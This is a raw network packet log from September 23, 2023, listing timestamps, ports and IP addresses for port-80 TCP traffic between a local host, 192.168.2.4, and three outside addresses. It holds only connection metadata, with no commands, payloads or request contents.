Sep 23, 2023 17:53:12.750157118 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.750173092 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.750262022 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.750277996 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.750305891 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.750345945 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.750387907 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.750396013 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.750475883 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.750511885 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.750524998 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.750564098 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.750607967 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:13.076405048 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076425076 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076441050 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076458931 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076474905 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076491117 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076500893 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:13.076514959 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076530933 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076540947 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:13.076549053 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076565027 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076572895 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:13.076581001 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076596022 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076603889 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:13.076630116 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:13.076638937 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076654911 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:13.076657057 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:13.076702118 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:13.230621099 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:13.551436901 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:13.551593065 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:13.551836014 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:13.551876068 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:13.871645927 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:13.872168064 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:13.886835098 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:13.892080069 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:13.892080069 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:14.211555958 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:14.211612940 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:14.217427015 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:14.228832960 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:14.229348898 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:14.269918919 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:14.551343918 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.551883936 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:14.552306890 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:14.553281069 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.553430080 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:14.872932911 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.873333931 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.873408079 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:14.874075890 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.874140024 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.874177933 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.874195099 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:14.874217033 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.874255896 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.874269009 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:14.874296904 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.874339104 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.874345064 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:14.874377966 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:14.874427080 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.193038940 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193104029 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193141937 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193181038 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193180084 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.193248034 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.193744898 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193783998 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193819046 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193836927 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.193856955 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193893909 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193903923 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.193929911 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193965912 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.193975925 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.194003105 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.194037914 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.194046021 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.194073915 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.194108009 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.194118977 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.194144964 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.194180012 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.194190025 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.194216013 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.194253922 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.194262981 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.194291115 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.194339037 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.512468100 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.512542009 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.512579918 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.512599945 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.512626886 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.512646914 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.512696028 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.512725115 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.512732029 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.512768030 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.512793064 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.512991905 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513179064 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513228893 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.513426065 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513484001 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513536930 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.513557911 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513627052 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513664007 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513678074 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.513700962 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513767004 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513787985 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.513823986 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513880968 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.513891935 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513931036 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513964891 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.513994932 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.514030933 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514084101 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.514098883 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514134884 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514182091 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.514200926 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514240980 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514338017 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.514354944 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514391899 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514427900 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514452934 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.514465094 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514518976 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.514533043 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514569044 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514604092 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514631033 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.514734983 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514791965 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514799118 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.514863968 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514919996 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.514925003 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.514992952 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.515038013 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.515067101 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.515104055 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.515149117 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.834546089 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834610939 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834633112 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834654093 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834693909 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834707022 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.834731102 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834749937 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.834767103 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834775925 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.834846020 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834887028 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834901094 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.834927082 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834964991 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.834974051 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.835000038 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835035086 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835042000 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.835071087 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835107088 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835123062 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.835145950 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835180998 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835196018 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.835215092 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835257053 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835262060 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.835293055 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835329056 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835336924 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.835364103 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835401058 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835408926 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.835508108 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835556984 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.835582972 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835658073 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835724115 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835791111 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835828066 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835895061 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835926056 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.835930109 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.835964918 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.836008072 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.836030006 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.836065054 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.836090088 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.836107969 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.836149931 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.836199045 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.836843967 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.836906910 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.836946011 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.836951017 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.836985111 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.837022066 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.837044954 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.837057114 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.837094069 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.837106943 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.837129116 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.837163925 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.837171078 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.837201118 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.837241888 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.837671041 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.837754011 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.837800980 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.837856054 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.837996006 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.838038921 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:15.838083982 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.838119984 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:15.838160038 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.097003937 CEST	49777	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:16.155673981 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.155719995 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.155767918 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.155793905 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.155855894 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.155903101 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.155930042 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156187057 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156230927 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.156261921 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156332970 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156368971 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156374931 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.156404972 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156445980 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.156471968 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156605959 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156666040 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.156703949 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156771898 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156816959 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.156898022 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156934977 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.156974077 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.157015085 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157083988 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157119989 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157129049 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.157155991 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157191992 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157197952 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.157259941 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157300949 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.157325983 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157428980 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157470942 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.157512903 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157547951 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157593012 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.157614946 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157650948 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157695055 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.157735109 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157800913 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157835960 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157843113 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.157872915 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.157917023 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.157939911 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158006907 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158042908 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158047915 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.158153057 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158195019 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.158236027 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158397913 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158442974 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.158471107 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158507109 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158545971 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.158603907 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158710003 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158759117 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.158785105 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158906937 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158942938 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.158960104 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.159037113 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.159087896 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.159136057 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.159204006 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.159251928 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.159300089 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.159367085 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.159415007 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.422033072 CEST	80	49777	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:16.422502995 CEST	49777	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:16.422583103 CEST	49777	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:16.474972963 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475040913 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475080013 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475101948 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475127935 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475150108 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475300074 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475358009 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475368023 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.475411892 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475430965 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.475522995 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475559950 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475575924 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.475662947 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475699902 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475709915 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.475820065 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475868940 CEST	49776	80	192.168.2.4	77.91.124.231
